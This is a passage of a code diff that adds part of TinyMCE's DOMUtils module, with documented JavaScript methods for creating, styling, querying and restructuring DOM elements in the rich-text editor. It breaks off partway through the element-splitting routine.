+		 * var el = tinymce.activeEditor.dom.create('div', {id: 'test', 'class': 'myclass'}, 'some content');
+		 * tinymce.activeEditor.selection.setNode(el);
+		 */
+		create: function(name, attrs, html) {
+			return this.add(this.doc.createElement(name), name, attrs, html, 1);
+		},
+
+		/**
+		 * Creates HTML string for element. The element will be closed unless an empty inner HTML string is passed in.
+		 *
+		 * @method createHTML
+		 * @param {String} name Name of new element.
+		 * @param {Object} attrs Optional object name/value collection with element attributes.
+		 * @param {String} html Optional HTML string to set as inner HTML of the element.
+		 * @return {String} String with new HTML element, for example: <a href="#">test</a>.
+		 * @example
+		 * // Creates a html chunk and inserts it at the current selection/caret location
+		 * tinymce.activeEditor.selection.setContent(tinymce.activeEditor.dom.createHTML('a', {href: 'test.html'}, 'some line'));
+		 */
+		createHTML: function(name, attrs, html) {
+			var outHtml = '', key;
+
+			outHtml += '<' + name;
+
+			for (key in attrs) {
+				if (attrs.hasOwnProperty(key) && attrs[key] !== null && typeof attrs[key] != 'undefined') {
+					outHtml += ' ' + key + '="' + this.encode(attrs[key]) + '"';
+				}
+			}
+
+			// A call to tinymce.is doesn't work for some odd reason on IE9 possible bug inside their JS runtime
+			if (typeof(html) != "undefined") {
+				return outHtml + '>' + html + '</' + name + '>';
+			}
+
+			return outHtml + ' />';
+		},
+
+		/**
+		 * Creates a document fragment out of the specified HTML string.
+		 *
+		 * @method createFragment
+		 * @param {String} html Html string to create fragment from.
+		 * @return {DocumentFragment} Document fragment node.
+		 */
+		createFragment: function(html) {
+			var frag, node, doc = this.doc, container;
+
+			container = doc.createElement("div");
+			frag = doc.createDocumentFragment();
+
+			if (html) {
+				container.innerHTML = html;
+			}
+
+			while ((node = container.firstChild)) {
+				frag.appendChild(node);
+			}
+
+			return frag;
+		},
+
+		/**
+		 * Removes/deletes the specified element(s) from the DOM.
+		 *
+		 * @method remove
+		 * @param {String/Element/Array} node ID of element or DOM element object or array containing multiple elements/ids.
+		 * @param {Boolean} keepChildren Optional state to keep children or not. If set to true all children will be
+		 * placed at the location of the removed element.
+		 * @return {Element/Array} HTML DOM element that got removed, or an array of removed elements if multiple input elements
+		 * were passed in.
+		 * @example
+		 * // Removes all paragraphs in the active editor
+		 * tinymce.activeEditor.dom.remove(tinymce.activeEditor.dom.select('p'));
+		 *
+		 * // Removes an element by id in the document
+		 * tinymce.DOM.remove('mydiv');
+		 */
+		remove: function(node, keepChildren) {
+			node = this.$$(node);
+
+			if (keepChildren) {
+				node.each(function() {
+					var child;
+
+					while ((child = this.firstChild)) {
+						if (child.nodeType == 3 && child.data.length === 0) {
+							this.removeChild(child);
+						} else {
+							this.parentNode.insertBefore(child, this);
+						}
+					}
+				}).remove();
+			} else {
+				node.remove();
+			}
+
+			return node.length > 1 ? node.toArray() : node[0];
+		},
+
+		/**
+		 * Sets the CSS style value on a HTML element. The name can be a camelcase string
+		 * or the CSS style name like background-color.
+		 *
+		 * @method setStyle
+		 * @param {String/Element/Array} n HTML element/Element ID or Array of elements/ids to set CSS style value on.
+		 * @param {String} na Name of the style value to set.
+		 * @param {String} v Value to set on the style.
+		 * @example
+		 * // Sets a style value on all paragraphs in the currently active editor
+		 * tinymce.activeEditor.dom.setStyle(tinymce.activeEditor.dom.select('p'), 'background-color', 'red');
+		 *
+		 * // Sets a style value to an element by id in the current document
+		 * tinymce.DOM.setStyle('mydiv', 'background-color', 'red');
+		 */
+		setStyle: function(elm, name, value) {
+			elm = this.$$(elm).css(name, value);
+
+			if (this.settings.update_styles) {
+				elm.attr('data-mce-style', null);
+			}
+		},
+
+		/**
+		 * Returns the current style or runtime/computed value of an element.
+		 *
+		 * @method getStyle
+		 * @param {String/Element} elm HTML element or element id string to get style from.
+		 * @param {String} name Style name to return.
+		 * @param {Boolean} computed Computed style.
+		 * @return {String} Current style or computed style value of an element.
+		 */
+		getStyle: function(elm, name, computed) {
+			elm = this.$$(elm);
+
+			if (computed) {
+				return elm.css(name);
+			}
+
+			// Camelcase it, if needed
+			name = name.replace(/-(\D)/g, function(a, b) {
+				return b.toUpperCase();
+			});
+
+			if (name == 'float') {
+				name = isIE ? 'styleFloat' : 'cssFloat';
+			}
+
+			return elm[0] && elm[0].style ? elm[0].style[name] : undefined;
+		},
+
+		/**
+		 * Sets multiple styles on the specified element(s).
+		 *
+		 * @method setStyles
+		 * @param {Element/String/Array} e DOM element, element id string or array of elements/ids to set styles on.
+		 * @param {Object} o Name/Value collection of style items to add to the element(s).
+		 * @example
+		 * // Sets styles on all paragraphs in the currently active editor
+		 * tinymce.activeEditor.dom.setStyles(tinymce.activeEditor.dom.select('p'), {'background-color': 'red', 'color': 'green'});
+		 *
+		 * // Sets styles to an element by id in the current document
+		 * tinymce.DOM.setStyles('mydiv', {'background-color': 'red', 'color': 'green'});
+		 */
+		setStyles: function(elm, styles) {
+			elm = this.$$(elm).css(styles);
+
+			if (this.settings.update_styles) {
+				elm.attr('data-mce-style', null);
+			}
+		},
+
+		/**
+		 * Removes all attributes from an element or elements.
+		 *
+		 * @method removeAllAttribs
+		 * @param {Element/String/Array} e DOM element, element id string or array of elements/ids to remove attributes from.
+		 */
+		removeAllAttribs: function(e) {
+			return this.run(e, function(e) {
+				var i, attrs = e.attributes;
+				for (i = attrs.length - 1; i >= 0; i--) {
+					e.removeAttributeNode(attrs.item(i));
+				}
+			});
+		},
+
+		/**
+		 * Sets the specified attribute of an element or elements.
+		 *
+		 * @method setAttrib
+		 * @param {Element/String/Array} e DOM element, element id string or array of elements/ids to set attribute on.
+		 * @param {String} n Name of attribute to set.
+		 * @param {String} v Value to set on the attribute - if this value is falsy like null, 0 or '' it will remove the attribute instead.
+		 * @example
+		 * // Sets class attribute on all paragraphs in the active editor
+		 * tinymce.activeEditor.dom.setAttrib(tinymce.activeEditor.dom.select('p'), 'class', 'myclass');
+		 *
+		 * // Sets class attribute on a specific element in the current page
+		 * tinymce.dom.setAttrib('mydiv', 'class', 'myclass');
+		 */
+		setAttrib: function(elm, name, value) {
+			var self = this, originalValue, hook, settings = self.settings;
+
+			if (value === '') {
+				value = null;
+			}
+
+			elm = self.$$(elm);
+			originalValue = elm.attr(name);
+
+			if (!elm.length) {
+				return;
+			}
+
+			hook = self.attrHooks[name];
+			if (hook && hook.set) {
+				hook.set(elm, value, name);
+			} else {
+				elm.attr(name, value);
+			}
+
+			if (originalValue != value && settings.onSetAttrib) {
+				settings.onSetAttrib({
+					attrElm: elm,
+					attrName: name,
+					attrValue: value
+				});
+			}
+		},
+
+		/**
+		 * Sets two or more specified attributes of an element or elements.
+		 *
+		 * @method setAttribs
+		 * @param {Element/String/Array} elm DOM element, element id string or array of elements/ids to set attributes on.
+		 * @param {Object} attrs Name/Value collection of attribute items to add to the element(s).
+		 * @example
+		 * // Sets class and title attributes on all paragraphs in the active editor
+		 * tinymce.activeEditor.dom.setAttribs(tinymce.activeEditor.dom.select('p'), {'class': 'myclass', title: 'some title'});
+		 *
+		 * // Sets class and title attributes on a specific element in the current page
+		 * tinymce.DOM.setAttribs('mydiv', {'class': 'myclass', title: 'some title'});
+		 */
+		setAttribs: function(elm, attrs) {
+			var self = this;
+
+			self.$$(elm).each(function(i, node) {
+				each(attrs, function(value, name) {
+					self.setAttrib(node, name, value);
+				});
+			});
+		},
+
+		/**
+		 * Returns the specified attribute by name.
+		 *
+		 * @method getAttrib
+		 * @param {String/Element} elm Element string id or DOM element to get attribute from.
+		 * @param {String} name Name of attribute to get.
+		 * @param {String} defaultVal Optional default value to return if the attribute didn't exist.
+		 * @return {String} Attribute value string, default value or null if the attribute wasn't found.
+		 */
+		getAttrib: function(elm, name, defaultVal) {
+			var self = this, hook, value;
+
+			elm = self.$$(elm);
+
+			if (elm.length) {
+				hook = self.attrHooks[name];
+
+				if (hook && hook.get) {
+					value = hook.get(elm, name);
+				} else {
+					value = elm.attr(name);
+				}
+			}
+
+			if (typeof value == 'undefined') {
+				value = defaultVal || '';
+			}
+
+			return value;
+		},
+
+		/**
+		 * Returns the absolute x, y position of a node. The position will be returned in an object with x, y fields.
+		 *
+		 * @method getPos
+		 * @param {Element/String} elm HTML element or element id to get x, y position from.
+		 * @param {Element} rootElm Optional root element to stop calculations at.
+		 * @return {object} Absolute position of the specified element object with x, y fields.
+		 */
+		getPos: function(elm, rootElm) {
+			var self = this, x = 0, y = 0, offsetParent, doc = self.doc, body = doc.body, pos;
+
+			elm = self.get(elm);
+			rootElm = rootElm || body;
+
+			if (elm) {
+				// Use getBoundingClientRect if it exists since it's faster than looping offset nodes
+				// Fallback to offsetParent calculations if the body isn't static better since it stops at the body root
+				if (rootElm === body && elm.getBoundingClientRect && $(body).css('position') === 'static') {
+					pos = elm.getBoundingClientRect();
+					rootElm = self.boxModel ? doc.documentElement : body;
+
+					// Add scroll offsets from documentElement or body since IE with the wrong box model will use d.body and so do WebKit
+					// Also remove the body/documentelement clientTop/clientLeft on IE 6, 7 since they offset the position
+					x = pos.left + (doc.documentElement.scrollLeft || body.scrollLeft) - rootElm.clientLeft;
+					y = pos.top + (doc.documentElement.scrollTop || body.scrollTop) - rootElm.clientTop;
+
+					return {x: x, y: y};
+				}
+
+				offsetParent = elm;
+				while (offsetParent && offsetParent != rootElm && offsetParent.nodeType) {
+					x += offsetParent.offsetLeft || 0;
+					y += offsetParent.offsetTop || 0;
+					offsetParent = offsetParent.offsetParent;
+				}
+
+				offsetParent = elm.parentNode;
+				while (offsetParent && offsetParent != rootElm && offsetParent.nodeType) {
+					x -= offsetParent.scrollLeft || 0;
+					y -= offsetParent.scrollTop || 0;
+					offsetParent = offsetParent.parentNode;
+				}
+			}
+
+			return {x: x, y: y};
+		},
+
+		/**
+		 * Parses the specified style value into an object collection. This parser will also
+		 * merge and remove any redundant items that browsers might have added. It will also convert non-hex
+		 * colors to hex values. Urls inside the styles will also be converted to absolute/relative based on settings.
+		 *
+		 * @method parseStyle
+		 * @param {String} cssText Style value to parse, for example: border:1px solid red;.
+		 * @return {Object} Object representation of that style, for example: {border: '1px solid red'}
+		 */
+		parseStyle: function(cssText) {
+			return this.styles.parse(cssText);
+		},
+
+		/**
+		 * Serializes the specified style object into a string.
+		 *
+		 * @method serializeStyle
+		 * @param {Object} styles Object to serialize as string, for example: {border: '1px solid red'}
+		 * @param {String} name Optional element name.
+		 * @return {String} String representation of the style object, for example: border: 1px solid red.
+		 */
+		serializeStyle: function(styles, name) {
+			return this.styles.serialize(styles, name);
+		},
+
+		/**
+		 * Adds a style element at the top of the document with the specified cssText content.
+		 *
+		 * @method addStyle
+		 * @param {String} cssText CSS Text style to add to top of head of document.
+		 */
+		addStyle: function(cssText) {
+			var self = this, doc = self.doc, head, styleElm;
+
+			// Prevent inline from loading the same styles twice
+			if (self !== DOMUtils.DOM && doc === document) {
+				var addedStyles = DOMUtils.DOM.addedStyles;
+
+				addedStyles = addedStyles || [];
+				if (addedStyles[cssText]) {
+					return;
+				}
+
+				addedStyles[cssText] = true;
+				DOMUtils.DOM.addedStyles = addedStyles;
+			}
+
+			// Create style element if needed
+			styleElm = doc.getElementById('mceDefaultStyles');
+			if (!styleElm) {
+				styleElm = doc.createElement('style');
+				styleElm.id = 'mceDefaultStyles';
+				styleElm.type = 'text/css';
+
+				head = doc.getElementsByTagName('head')[0];
+				if (head.firstChild) {
+					head.insertBefore(styleElm, head.firstChild);
+				} else {
+					head.appendChild(styleElm);
+				}
+			}
+
+			// Append style data to old or new style element
+			if (styleElm.styleSheet) {
+				styleElm.styleSheet.cssText += cssText;
+			} else {
+				styleElm.appendChild(doc.createTextNode(cssText));
+			}
+		},
+
+		/**
+		 * Imports/loads the specified CSS file into the document bound to the class.
+		 *
+		 * @method loadCSS
+		 * @param {String} u URL to CSS file to load.
+		 * @example
+		 * // Loads a CSS file dynamically into the current document
+		 * tinymce.DOM.loadCSS('somepath/some.css');
+		 *
+		 * // Loads a CSS file into the currently active editor instance
+		 * tinymce.activeEditor.dom.loadCSS('somepath/some.css');
+		 *
+		 * // Loads a CSS file into an editor instance by id
+		 * tinymce.get('someid').dom.loadCSS('somepath/some.css');
+		 *
+		 * // Loads multiple CSS files into the current document
+		 * tinymce.DOM.loadCSS('somepath/some.css,somepath/someother.css');
+		 */
+		loadCSS: function(url) {
+			var self = this, doc = self.doc, head;
+
+			// Prevent inline from loading the same CSS file twice
+			if (self !== DOMUtils.DOM && doc === document) {
+				DOMUtils.DOM.loadCSS(url);
+				return;
+			}
+
+			if (!url) {
+				url = '';
+			}
+
+			head = doc.getElementsByTagName('head')[0];
+
+			each(url.split(','), function(url) {
+				var link;
+
+				url = Tools._addCacheSuffix(url);
+
+				if (self.files[url]) {
+					return;
+				}
+
+				self.files[url] = true;
+				link = self.create('link', {rel: 'stylesheet', href: url});
+
+				// IE 8 has a bug where dynamically loading stylesheets would produce a 1 item remaining bug
+				// This fix seems to resolve that issue by recalcing the document once a stylesheet finishes loading
+				// It's ugly but it seems to work fine.
+				if (isIE && doc.documentMode && doc.recalc) {
+					link.onload = function() {
+						if (doc.recalc) {
+							doc.recalc();
+						}
+
+						link.onload = null;
+					};
+				}
+
+				head.appendChild(link);
+			});
+		},
+
+		/**
+		 * Adds a class to the specified element or elements.
+		 *
+		 * @method addClass
+		 * @param {String/Element/Array} elm Element ID string or DOM element or array with elements or IDs.
+		 * @param {String} cls Class name to add to each element.
+		 * @return {String/Array} String with new class value or array with new class values for all elements.
+		 * @example
+		 * // Adds a class to all paragraphs in the active editor
+		 * tinymce.activeEditor.dom.addClass(tinymce.activeEditor.dom.select('p'), 'myclass');
+		 *
+		 * // Adds a class to a specific element in the current page
+		 * tinymce.DOM.addClass('mydiv', 'myclass');
+		 */
+		addClass: function(elm, cls) {
+			this.$$(elm).addClass(cls);
+		},
+
+		/**
+		 * Removes a class from the specified element or elements.
+		 *
+		 * @method removeClass
+		 * @param {String/Element/Array} elm Element ID string or DOM element or array with elements or IDs.
+		 * @param {String} cls Class name to remove from each element.
+		 * @return {String/Array} String of remaining class name(s), or an array of strings if multiple input elements
+		 * were passed in.
+		 * @example
+		 * // Removes a class from all paragraphs in the active editor
+		 * tinymce.activeEditor.dom.removeClass(tinymce.activeEditor.dom.select('p'), 'myclass');
+		 *
+		 * // Removes a class from a specific element in the current page
+		 * tinymce.DOM.removeClass('mydiv', 'myclass');
+		 */
+		removeClass: function(elm, cls) {
+			this.toggleClass(elm, cls, false);
+		},
+
+		/**
+		 * Returns true if the specified element has the specified class.
+		 *
+		 * @method hasClass
+		 * @param {String/Element} n HTML element or element id string to check CSS class on.
+		 * @param {String} c CSS class to check for.
+		 * @return {Boolean} true/false if the specified element has the specified class.
+		 */
+		hasClass: function(elm, cls) {
+			return this.$$(elm).hasClass(cls);
+		},
+
+		/**
+		 * Toggles the specified class on/off.
+		 *
+		 * @method toggleClass
+		 * @param {Element} elm Element to toggle class on.
+		 * @param {[type]} cls Class to toggle on/off.
+		 * @param {[type]} state Optional state to set.
+		 */
+		toggleClass: function(elm, cls, state) {
+			this.$$(elm).toggleClass(cls, state).each(function() {
+				if (this.className === '') {
+					$(this).attr('class', null);
+				}
+			});
+		},
+
+		/**
+		 * Shows the specified element(s) by ID by setting the "display" style.
+		 *
+		 * @method show
+		 * @param {String/Element/Array} elm ID of DOM element or DOM element or array with elements or IDs to show.
+		 */
+		show: function(elm) {
+			this.$$(elm).show();
+		},
+
+		/**
+		 * Hides the specified element(s) by ID by setting the "display" style.
+		 *
+		 * @method hide
+		 * @param {String/Element/Array} e ID of DOM element or DOM element or array with elements or IDs to hide.
+		 * @example
+		 * // Hides an element by id in the document
+		 * tinymce.DOM.hide('myid');
+		 */
+		hide: function(elm) {
+			this.$$(elm).hide();
+		},
+
+		/**
+		 * Returns true/false if the element is hidden or not by checking the "display" style.
+		 *
+		 * @method isHidden
+		 * @param {String/Element} e Id or element to check display state on.
+		 * @return {Boolean} true/false if the element is hidden or not.
+		 */
+		isHidden: function(elm) {
+			return this.$$(elm).css('display') == 'none';
+		},
+
+		/**
+		 * Returns a unique id. This can be useful when generating elements on the fly.
+		 * This method will not check if the element already exists.
+		 *
+		 * @method uniqueId
+		 * @param {String} prefix Optional prefix to add in front of all ids - defaults to "mce_".
+		 * @return {String} Unique id.
+		 */
+		uniqueId: function(prefix) {
+			return (!prefix ? 'mce_' : prefix) + (this.counter++);
+		},
+
+		/**
+		 * Sets the specified HTML content inside the element or elements. The HTML will first be processed. This means
+		 * URLs will get converted, hex color values fixed etc. Check processHTML for details.
+		 *
+		 * @method setHTML
+		 * @param {Element/String/Array} elm DOM element, element id string or array of elements/ids to set HTML inside of.
+		 * @param {String} h HTML content to set as inner HTML of the element.
+		 * @example
+		 * // Sets the inner HTML of all paragraphs in the active editor
+		 * tinymce.activeEditor.dom.setHTML(tinymce.activeEditor.dom.select('p'), 'some inner html');
+		 *
+		 * // Sets the inner HTML of an element by id in the document
+		 * tinymce.DOM.setHTML('mydiv', 'some inner html');
+		 */
+		setHTML: function(elm, html) {
+			elm = this.$$(elm);
+
+			if (isIE) {
+				elm.each(function(i, target) {
+					if (target.canHaveHTML === false) {
+						return;
+					}
+
+					// Remove all child nodes, IE keeps empty text nodes in DOM
+					while (target.firstChild) {
+						target.removeChild(target.firstChild);
+					}
+
+					try {
+						// IE will remove comments from the beginning
+						// unless you padd the contents with something
+						target.innerHTML = '<br>' + html;
+						target.removeChild(target.firstChild);
+					} catch (ex) {
+						// IE sometimes produces an unknown runtime error on innerHTML if it's a div inside a p
+						$('<div>').html('<br>' + html).contents().slice(1).appendTo(target);
+					}
+
+					return html;
+				});
+			} else {
+				elm.html(html);
+			}
+		},
+
+		/**
+		 * Returns the outer HTML of an element.
+		 *
+		 * @method getOuterHTML
+		 * @param {String/Element} elm Element ID or element object to get outer HTML from.
+		 * @return {String} Outer HTML string.
+		 * @example
+		 * tinymce.DOM.getOuterHTML(editorElement);
+		 * tinymce.activeEditor.getOuterHTML(tinymce.activeEditor.getBody());
+		 */
+		getOuterHTML: function(elm) {
+			elm = this.get(elm);
+			return elm.nodeType == 1 ? elm.outerHTML : $('<div>').append($(elm).clone()).html();
+		},
+
+		/**
+		 * Sets the specified outer HTML on an element or elements.
+		 *
+		 * @method setOuterHTML
+		 * @param {Element/String/Array} elm DOM element, element id string or array of elements/ids to set outer HTML on.
+		 * @param {Object} html HTML code to set as outer value for the element.
+		 * @param {Document} doc Optional document scope to use in this process - defaults to the document of the DOM class.
+		 * @example
+		 * // Sets the outer HTML of all paragraphs in the active editor
+		 * tinymce.activeEditor.dom.setOuterHTML(tinymce.activeEditor.dom.select('p'), '<div>some html</div>');
+		 *
+		 * // Sets the outer HTML of an element by id in the document
+		 * tinymce.DOM.setOuterHTML('mydiv', '<div>some html</div>');
+		 */
+		setOuterHTML: function(elm, html) {
+			var self = this;
+
+			self.$$(elm).each(function() {
+				try {
+					this.outerHTML = html;
+				} catch (ex) {
+					// OuterHTML for IE it sometimes produces an "unknown runtime error"
+					self.remove($(this).html(html), true);
+				}
+			});
+		},
+
+		/**
+		 * Entity decodes a string. This method decodes any HTML entities, such as &aring;.
+		 *
+		 * @method decode
+		 * @param {String} s String to decode entities on.
+		 * @return {String} Entity decoded string.
+		 */
+		decode: Entities.decode,
+
+		/**
+		 * Entity encodes a string. This method encodes the most common entities, such as <>"&.
+		 *
+		 * @method encode
+		 * @param {String} text String to encode with entities.
+		 * @return {String} Entity encoded string.
+		 */
+		encode: Entities.encodeAllRaw,
+
+		/**
+		 * Inserts an element after the reference element.
+		 *
+		 * @method insertAfter
+		 * @param {Element} node Element to insert after the reference.
+		 * @param {Element/String/Array} reference_node Reference element, element id or array of elements to insert after.
+		 * @return {Element/Array} Element that got added or an array with elements.
+		 */
+		insertAfter: function(node, referenceNode) {
+			referenceNode = this.get(referenceNode);
+
+			return this.run(node, function(node) {
+				var parent, nextSibling;
+
+				parent = referenceNode.parentNode;
+				nextSibling = referenceNode.nextSibling;
+
+				if (nextSibling) {
+					parent.insertBefore(node, nextSibling);
+				} else {
+					parent.appendChild(node);
+				}
+
+				return node;
+			});
+		},
+
+		/**
+		 * Replaces the specified element or elements with the new element specified. The new element will
+		 * be cloned if multiple input elements are passed in.
+		 *
+		 * @method replace
+		 * @param {Element} newElm New element to replace old ones with.
+		 * @param {Element/String/Array} oldELm Element DOM node, element id or array of elements or ids to replace.
+		 * @param {Boolean} k Optional keep children state, if set to true child nodes from the old object will be added to new ones.
+		 */
+		replace: function(newElm, oldElm, keepChildren) {
+			var self = this;
+
+			return self.run(oldElm, function(oldElm) {
+				if (is(oldElm, 'array')) {
+					newElm = newElm.cloneNode(true);
+				}
+
+				if (keepChildren) {
+					each(grep(oldElm.childNodes), function(node) {
+						newElm.appendChild(node);
+					});
+				}
+
+				return oldElm.parentNode.replaceChild(newElm, oldElm);
+			});
+		},
+
+		/**
+		 * Renames the specified element and keeps its attributes and children.
+		 *
+		 * @method rename
+		 * @param {Element} elm Element to rename.
+		 * @param {String} name Name of the new element.
+		 * @return {Element} New element or the old element if it needed renaming.
+		 */
+		rename: function(elm, name) {
+			var self = this, newElm;
+
+			if (elm.nodeName != name.toUpperCase()) {
+				// Rename block element
+				newElm = self.create(name);
+
+				// Copy attribs to new block
+				each(self.getAttribs(elm), function(attrNode) {
+					self.setAttrib(newElm, attrNode.nodeName, self.getAttrib(elm, attrNode.nodeName));
+				});
+
+				// Replace block
+				self.replace(newElm, elm, 1);
+			}
+
+			return newElm || elm;
+		},
+
+		/**
+		 * Find the common ancestor of two elements. This is a shorter method than using the DOM Range logic.
+		 *
+		 * @method findCommonAncestor
+		 * @param {Element} a Element to find common ancestor of.
+		 * @param {Element} b Element to find common ancestor of.
+		 * @return {Element} Common ancestor element of the two input elements.
+		 */
+		findCommonAncestor: function(a, b) {
+			var ps = a, pe;
+
+			while (ps) {
+				pe = b;
+
+				while (pe && ps != pe) {
+					pe = pe.parentNode;
+				}
+
+				if (ps == pe) {
+					break;
+				}
+
+				ps = ps.parentNode;
+			}
+
+			if (!ps && a.ownerDocument) {
+				return a.ownerDocument.documentElement;
+			}
+
+			return ps;
+		},
+
+		/**
+		 * Parses the specified RGB color value and returns a hex version of that color.
+		 *
+		 * @method toHex
+		 * @param {String} rgbVal RGB string value like rgb(1,2,3)
+		 * @return {String} Hex version of that RGB value like #FF00FF.
+		 */
+		toHex: function(rgbVal) {
+			return this.styles.toHex(Tools.trim(rgbVal));
+		},
+
+		/**
+		 * Executes the specified function on the element by id or dom element node or array of elements/id.
+		 *
+		 * @method run
+		 * @param {String/Element/Array} Element ID or DOM element object or array with ids or elements.
+		 * @param {function} f Function to execute for each item.
+		 * @param {Object} s Optional scope to execute the function in.
+		 * @return {Object/Array} Single object, or an array of objects if multiple input elements were passed in.
+		 */
+		run: function(elm, func, scope) {
+			var self = this, result;
+
+			if (typeof(elm) === 'string') {
+				elm = self.get(elm);
+			}
+
+			if (!elm) {
+				return false;
+			}
+
+			scope = scope || this;
+			if (!elm.nodeType && (elm.length || elm.length === 0)) {
+				result = [];
+
+				each(elm, function(elm, i) {
+					if (elm) {
+						if (typeof(elm) == 'string') {
+							elm = self.get(elm);
+						}
+
+						result.push(func.call(scope, elm, i));
+					}
+				});
+
+				return result;
+			}
+
+			return func.call(scope, elm);
+		},
+
+		/**
+		 * Returns a NodeList with attributes for the element.
+		 *
+		 * @method getAttribs
+		 * @param {HTMLElement/string} elm Element node or string id to get attributes from.
+		 * @return {NodeList} NodeList with attributes.
+		 */
+		getAttribs: function(elm) {
+			var attrs;
+
+			elm = this.get(elm);
+
+			if (!elm) {
+				return [];
+			}
+
+			if (isIE) {
+				attrs = [];
+
+				// Object will throw exception in IE
+				if (elm.nodeName == 'OBJECT') {
+					return elm.attributes;
+				}
+
+				// IE doesn't keep the selected attribute if you clone option elements
+				if (elm.nodeName === 'OPTION' && this.getAttrib(elm, 'selected')) {
+					attrs.push({specified: 1, nodeName: 'selected'});
+				}
+
+				// It's crazy that this is faster in IE but it's because it returns all attributes all the time
+				var attrRegExp = /<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi;
+				elm.cloneNode(false).outerHTML.replace(attrRegExp, '').replace(/[\w:\-]+/gi, function(a) {
+					attrs.push({specified: 1, nodeName: a});
+				});
+
+				return attrs;
+			}
+
+			return elm.attributes;
+		},
+
+		/**
+		 * Returns true/false if the specified node is to be considered empty or not.
+		 *
+		 * @example
+		 * tinymce.DOM.isEmpty(node, {img: true});
+		 * @method isEmpty
+		 * @param {Object} elements Optional name/value object with elements that are automatically treated as non-empty elements.
+		 * @return {Boolean} true/false if the node is empty or not.
+		 */
+		isEmpty: function(node, elements) {
+			var self = this, i, attributes, type, walker, name, brCount = 0;
+
+			node = node.firstChild;
+			if (node) {
+				walker = new TreeWalker(node, node.parentNode);
+				elements = elements || (self.schema ? self.schema.getNonEmptyElements() : null);
+
+				do {
+					type = node.nodeType;
+
+					if (type === 1) {
+						// Ignore bogus elements
+						if (node.getAttribute('data-mce-bogus')) {
+							continue;
+						}
+
+						// Keep empty elements like <img />
+						name = node.nodeName.toLowerCase();
+						if (elements && elements[name]) {
+							// Ignore single BR elements in blocks like <p><br /></p> or <p><span><br /></span></p>
+							if (name === 'br') {
+								brCount++;
+								continue;
+							}
+
+							return false;
+						}
+
+						// Keep elements with data-bookmark attributes or name attribute like <a name="1"></a>
+						attributes = self.getAttribs(node);
+						i = attributes.length;
+						while (i--) {
+							name = attributes[i].nodeName;
+							if (name === "name" || name === 'data-mce-bookmark') {
+								return false;
+							}
+						}
+					}
+
+					// Keep comment nodes
+					if (type == 8) {
+						return false;
+					}
+
+					// Keep non whitespace text nodes
+					if ((type === 3 && !whiteSpaceRegExp.test(node.nodeValue))) {
+						return false;
+					}
+				} while ((node = walker.next()));
+			}
+
+			return brCount <= 1;
+		},
+
+		/**
+		 * Creates a new DOM Range object. This will use the native DOM Range API if it's
+		 * available. If it's not, it will fall back to the custom TinyMCE implementation.
+		 *
+		 * @method createRng
+		 * @return {DOMRange} DOM Range object.
+		 * @example
+		 * var rng = tinymce.DOM.createRng();
+		 * alert(rng.startContainer + "," + rng.startOffset);
+		 */
+		createRng: function() {
+			var doc = this.doc;
+
+			return doc.createRange ? doc.createRange() : new Range(this);
+		},
+
+		/**
+		 * Returns the index of the specified node within its parent.
+		 *
+		 * @method nodeIndex
+		 * @param {Node} node Node to look for.
+		 * @param {boolean} normalized Optional true/false state if the index is what it would be after a normalization.
+		 * @return {Number} Index of the specified node.
+		 */
+		nodeIndex: function(node, normalized) {
+			var idx = 0, lastNodeType, nodeType;
+
+			if (node) {
+				for (lastNodeType = node.nodeType, node = node.previousSibling; node; node = node.previousSibling) {
+					nodeType = node.nodeType;
+
+					// Normalize text nodes
+					if (normalized && nodeType == 3) {
+						if (nodeType == lastNodeType || !node.nodeValue.length) {
+							continue;
+						}
+					}
+					idx++;
+					lastNodeType = nodeType;
+				}
+			}
+
+			return idx;
+		},
+
+		/**
+		 * Splits an element into two new elements and places the specified split
+		 * element or elements between the new ones. For example splitting the paragraph at the bold element in
+		 * this example <p>abc<b>abc</b>123</p> would produce <p>abc</p><b>abc</b><p>123</p>.
+		 *
+		 * @method split
+		 * @param {Element} parentElm Parent element to split.
+		 * @param {Element} splitElm Element to split at.
+		 * @param {Element} replacementElm Optional replacement element to replace the split element with.
+		 * @return {Element} Returns the split element or the replacement element if that is specified.
+		 */
+		split: function(parentElm, splitElm, replacementElm) {
+			var self = this, r = self.createRng(), bef, aft, pa;
+
+			// W3C valid browsers tend to leave empty nodes to the left/right side of the contents - this makes sense
+			// but we don't want that in our code since it serves no purpose for the end user
+			// For example splitting this html at the bold element:
+			//   <p>text 1<span><b>CHOP</b></span>text 2</p>
+			// would produce:
+			//   <p>text 1<span></span></p><b>CHOP</b><p><span></span>text 2</p>
+			// this function will then trim off empty edges and produce:
+			//   <p>text 1</p><b>CHOP</b><p>text 2</p>
+			function trimNode(node) {
+				var i, children = node.childNodes, type = node.nodeType;
+
+				function surroundedBySpans(node) {
+					var previousIsSpan = node.previousSibling && node.previousSibling.nodeName == 'SPAN';
+					var nextIsSpan = node.nextSibling && node.nextSibling.nodeName == 'SPAN';
+					return previousIsSpan && nextIsSpan;
+				}
+
+				if (type == 1 && node.getAttribute('data-mce-type') == 'bookmark') {
+					return;
+				}
+
+				for (i = children.length - 1; i >= 0; i--) {
+					trimNode(children[i]);
+				}
+
+				if (type != 9) {
+					// Keep non whitespace text nodes
+					if (type == 3 && node.nodeValue.length > 0) {
+						// If parent element isn't a block or there isn't any useful contents for example "<p>   </p>"
+						// Also keep text nodes with only spaces if surrounded by spans.
+						// eg. "<p><span>a</span> <span>b</span></p>" should keep space between a and b
+						var trimmedLength = trim(node.nodeValue).length;
+						if (!self.isBlock(node.parentNode) || trimmedLength > 0 || trimmedLength === 0 && surroundedBySpans(node)) {
+							return;
+						}
+					} else if (type == 1) {
+						// If the only child is a bookmark then move it up
+						children = node.childNodes;
+
+						// TODO fix this complex if
+						if (children.length == 1 && children[0] && children[0].nodeType == 1 &&
+							children[0].getAttribute('data-mce-type') == 'bookmark') {
+							node.parentNode.insertBefore(children[0], node);
+						}
+
+						// Keep non empty elements or img, hr etc
+						if (children.length || /^(br|hr|input|img)$/i.test(node.nodeName)) {
+							return;
+						}
+					}
+
+					self.remove(node);
+				}
+
+				return node;
+			}
+
+			if (parentElm && splitElm) {
+				// Get before chunk
+				r.setStart(parentElm.parentNode, self.nodeIndex(parentElm));
+				r.setEnd(splitElm.parentNode, self.nodeIndex(splitElm));
+				bef = r.extractContents();
+
+				// Get after chunk
+				r = self.createRng();
+				r.setStart(splitElm.parentNode, self.nodeIndex(splitElm) + 1);
+				r.setEnd(parentElm.parentNode, self.nodeIndex(parentElm) + 1);
